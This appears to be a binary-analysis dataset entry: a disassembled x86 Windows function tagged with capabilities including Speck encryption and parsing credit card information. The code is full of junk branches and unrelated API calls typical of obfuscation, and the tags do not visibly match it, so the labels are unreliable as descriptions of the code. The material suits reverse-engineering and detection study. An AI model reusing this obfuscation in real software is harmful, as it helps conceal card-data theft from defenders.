Function at 0x402dfa
Capabilities:
Encrypt data using speck
Get file attributes
Parse credit card information
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0x174
xor edx, edx
div ebx
xor edx, edx
mov ecx, 0x182
push esi
push edi
mov esi, 0x146
div ecx
mov ecx, dword [ebp + 0xc]
mov al, cl
imul ecx, ecx, 0x69
xor al, 0xcc
add ecx, dword [ebp + 8]
sub bl, dl
xor edx, edx
and bl, al
movzx edi, bl
mov eax, edi
div esi
xor edx, edx
xor ecx, eax
mov eax, dword [ebp + 0xc]
or cx, 0x1f9
movzx esi, cx
div esi
mov esi, eax
sub esi, ecx
sub esi, 0x3df
cmp dword [ebp + 0xc], 0x60
ja 0x402e65
mov esi, dword [ebp + 0xc]
or si, 0x2a1
jmp 0x402f5d
mov ecx, dword [ebp + 0xc]
cmp ecx, 0x3b
jne 0x402e88
movzx ecx, si
mov eax, 0x268
sub eax, ecx
sub eax, edi
or al, 0x74
push eax
push eax
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
jmp 0x402f5d
cmp ecx, 0x53
jne 0x402ea0
mov eax, dword [ebp + 8]
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetMailslotInfo]
jmp 0x402f5d
mov eax, 0xb379
cmp ecx, eax
jne 0x402f26
cmp bl, 0x50
jae 0x402ecc
mov ecx, dword [ebp + 8]
push 0x6a
imul ecx, esi
imul ecx, ecx, 0x323
pop esi
sub esi, ecx
movzx cx, bl
sub esi, ecx
and esi, eax
jmp 0x402f5d
cmp bl, 0x1e
jbe 0x402f1d
cmp bl, 0x95
jne 0x402f02
mov eax, dword [ebp + 8]
cmp eax, 0x9c97
jne 0x402eea
mov eax, 0x44017e
mov dword [ebp - 8], eax
jmp 0x402f5d
cmp eax, 0x25
jae 0x402ef3
mov bl, 0x8e
jmp 0x402f5d
cmp eax, 0x1a
jae 0x402f5d
mov bl, al
sub bl, 0xe
and bl, 0x7e
jmp 0x402f5d
cmp bl, 0x64
jne 0x402f0c
add bl, 0x51
jmp 0x402f5d
cmp bl, 0x45
jae 0x402f18
mov esi, 0xb267
jmp 0x402f5d
cmp bl, 0x4c
jne 0x402f5d
mov ax, word [ebp + 8]
jmp 0x40335d
cmp ecx, 5
jae 0x402f43
mov eax, dword [ebp + 0xc]
not eax
and eax, edi
imul edi, edi, 0x34f
xor eax, edi
push eax
call dword [sym.imp.USER32.dll_GetMenu]
jmp 0x402f5d
cmp ecx, 0xa
jae 0x402f5d
movzx ecx, si
mov eax, 0x20e
xor edx, edx
div ecx
push 0x31
xor edx, edx
pop ecx
div ecx
mov esi, eax
movzx ecx, bl
mov eax, ecx
xor edx, edx
mov edi, 0x22f
div edi
add esi, eax
mov eax, dword [ebp + 0xc]
cmp eax, 0x54
jb 0x40335a
cmp eax, 0x26
jae 0x402f8b
and bl, 0x91
xor bl, al
xor bl, byte [ebp + 8]
xor bl, 0x6c
jmp 0x402fd4
cmp eax, 0x4e
jne 0x402faa
mov eax, dword [ebp + 8]
xor edx, edx
mov esi, 0x11a
div esi
and eax, ecx
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
jmp 0x402fd4
cmp eax, 0xb379
jne 0x402fd4
cmp dword [ebp + 8], 0x9c97
jne 0x402fd4
movzx eax, si
xor edx, edx
div eax
mov eax, dword [ebp - 8]
xor edx, 0x19f
lea eax, [eax + edx + 0x5b3]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 0x26c
div ecx
movzx esi, bl
xor edx, edx
div esi
mov ecx, eax
mov eax, dword [ebp + 0xc]
add ecx, 0x35c
xor ecx, 0x1a3
cmp eax, 3
mov dword [ebp - 0xc], ecx
ja 0x40300b
and ecx, 0x1f1
xor ecx, dword [ebp + 8]
jmp 0x403076
cmp eax, 0x31
jae 0x40301c
push esi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 0xc]
jmp 0x403079
cmp eax, 0x3a
jne 0x403041
mov eax, dword [ebp + 8]
xor edx, edx
imul eax, eax, 0x3a
mov ecx, 0x15b
div ecx
mov ebx, eax
mov al, byte [ebp + 8]
sub al, 0x19
xor bl, al
xor bl, 0x23
jmp 0x4030db
cmp eax, 0xb379
jne 0x403057
mov eax, dword [ebp - 8]
mov eax, dword [eax]
add eax, 0x1a1f0
mov dword [ebp - 0x10], eax
jmp 0x403083
cmp eax, 0x42
jae 0x403079
xor edx, edx
mov edi, 0xe8
div edi
imul ecx, ecx, 0x12d
and ecx, dword [ebp + 0xc]
movzx dx, bl
sub edx, eax
xor ecx, edx
mov dword [ebp - 0xc], ecx
mov eax, dword [ebp + 0xc]
cmp eax, 0xb379
jne 0x40308d
mov eax, 0x403f3e
mov dword [ebp - 8], eax
jmp 0x4030db
cmp eax, 0x4c
jb 0x4030db
cmp eax, 1
jae 0x4030cc
mov eax, 0x2f1
xor edx, edx
div dword [ebp + 8]
mov ecx, 0xcd
mov eax, edx
xor edx, edx
div ecx
movzx edx, word [ebp - 0xc]
mov ecx, esi
xor ecx, 0x209
mov esi, ecx
or esi, eax
or ecx, eax
or esi, edx
or ecx, edx
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
jmp 0x4030db
cmp eax, 0x25
jae 0x4030db
mov al, cl
mov cl, 0x70
imul cl
mov bl, 0xa4
sub bl, al
mov ecx, dword [ebp + 8]
mov eax, ecx
imul eax, eax, 0x31a
cmp ecx, 0x3b
je 0x40335d
cmp ecx, 0x9c97
jne 0x403161
cmp bl, 0x95
jne 0x403175
push 0x14
pop ecx
cmp ax, cx
jne 0x403110
push ecx
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
jmp 0x403175
cmp ax, 0x34
jb 0x403175
cmp ax, 0xac56
jne 0x40313c
mov eax, dword [ebp + 0xc]
xor edx, edx
div eax
mov ecx, dword [ebp - 8]
add eax, 0x33d
xor eax, 0x2a0
lea eax, [ecx + eax + 0x1618]
mov dword [ebp - 8], eax
jmp 0x403175
cmp ax, 0x33
jne 0x403175
mov eax, dword [ebp + 0xc]
xor edx, edx
mov ecx, 0x2af
div ecx
xor edx, edx
mov ecx, 0x35e
div ecx
mov ebx, edx
sub bl, 0xd
and bl, 0x33
jmp 0x403175
cmp ecx, 8
je 0x403175
cmp ecx, 0x40
jae 0x403175
movzx eax, ax
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov eax, dword [ebp + 8]
xor edx, edx
div dword [ebp + 0xc]
mov edi, dword [ebp - 8]
mov esi, 0x2820
sub esi, dword [ebp + 8]
mov dword [ebp - 0xc], edi
add dl, bl
xor dl, 3
or dl, 0x50
cmp dl, 0x55
je 0x4031e9
cmp dl, 0x62
jae 0x4031a5
add esi, 0x95
jmp 0x4031e9
cmp dl, 0x7f
jne 0x4031cc
movzx ecx, si
push 0x7f
xor edx, edx
pop eax
div ecx
mov edi, edx
sub edi, dword [ebp + 8]
xor edi, dword [ebp + 8]
or di, 0x38d
add edi, 0x116a1
mov dword [ebp - 8], edi
jmp 0x4031e9
cmp dl, 0x5f
jne 0x4031e9
mov eax, dword [ebp + 8]
xor edx, edx
movzx ecx, si
div ecx
and eax, ecx
xor eax, dword [ebp + 0xc]
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetupComm]
and dword [ebp - 0x14], 0
test edi, edi
jbe 0x40335a
mov ecx, dword [ebp + 0xc]
mov eax, 0x20d
xor edx, edx
mov edi, 0x3e7
div ecx
sub edi, dword [ebp + 8]
mov eax, edx
sub al, byte [ebp + 8]
imul cl
and al, 0xf8
or al, 0xe0
xor edi, 0x72
mov byte [ebp - 2], al
jmp 0x40321f
mov al, byte [ebp - 2]
movzx ebx, al
and ebx, ecx
mov byte [ebp - 1], al
and ebx, 0x286
xor ebx, 0x94
cmp al, 0xe0
jne 0x40324f
cmp ecx, 0x58
ja 0x4032b7
mov eax, dword [ebp + 8]
xor edx, edx
div eax
mov al, bl
xor al, 0x1c
xor dl, byte [ebp + 0xc]
or dl, al
mov byte [ebp - 1], dl
cmp dword [ebp + 0xc], 0xb379
jne 0x403272
movzx eax, byte [ebp - 1]
xor edx, edx
mov ecx, dword [ebp - 0xc]
div eax
sub ecx, eax
mov al, byte [ecx + 2]
push eax
call fcn.0040391e
pop ecx
mov byte [ebp - 4], al
cmp byte [ebp - 1], 0xe0
jne 0x4032dd
mov ecx, dword [ebp + 8]
xor edx, edx
add ebx, 0xffffff20
lea eax, [ecx + ecx*4]
and ebx, 0x319
div ecx
mov al, byte [ebp - 3]
mov ecx, edx
or cx, 0x1f7
sub ecx, 0x1f3
shl al, cl
mov ecx, dword [ebp + 0xc]
add ecx, 0x17
or al, byte [ebp - 4]
or ebx, ecx
mov ecx, dword [ebp - 0x10]
mov byte [ebx + ecx - 0xb390], al
jmp 0x4032ee
cmp ecx, 0x62
ja 0x4032c1
push 0x7f
pop ebx
jmp 0x40324f
cmp ecx, 0xb379
jne 0x40324f
mov eax, dword [ebp - 0xc]
mov al, byte [eax]
push eax
call fcn.0040391e
pop ecx
mov byte [ebp - 3], al
jmp 0x403258
cmp byte [ebp - 1], 0x31
ja 0x4032ee
movzx eax, byte [ebp - 1]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
cmp edi, 0xffff6722
jne 0x403317
mov eax, 0xfe68c094
xor edx, edx
div dword [ebp + 8]
mov eax, 0x35d
sub eax, dword [ebp + 0xc]
and edx, eax
mov eax, dword [ebp - 0x10]
lea eax, [eax + edx - 0x8e3]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 0xc]
cmp ecx, 0x17
je 0x403362
cmp ecx, 0xb379
jne 0x40334a
mov eax, edi
xor edx, edx
mov ebx, 0x3dd
div ebx
mov eax, dword [ebp - 0xc]
add edx, 0x8b
or dx, 0x1f1
lea eax, [eax + edx - 0x3f7]
mov dword [ebp - 0xc], eax
add dword [ebp - 0x14], 2
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp - 8]
jb 0x40321c
mov ax, si
pop edi
pop esi
pop ebx
leave
ret
mov ax, di
jmp 0x40335d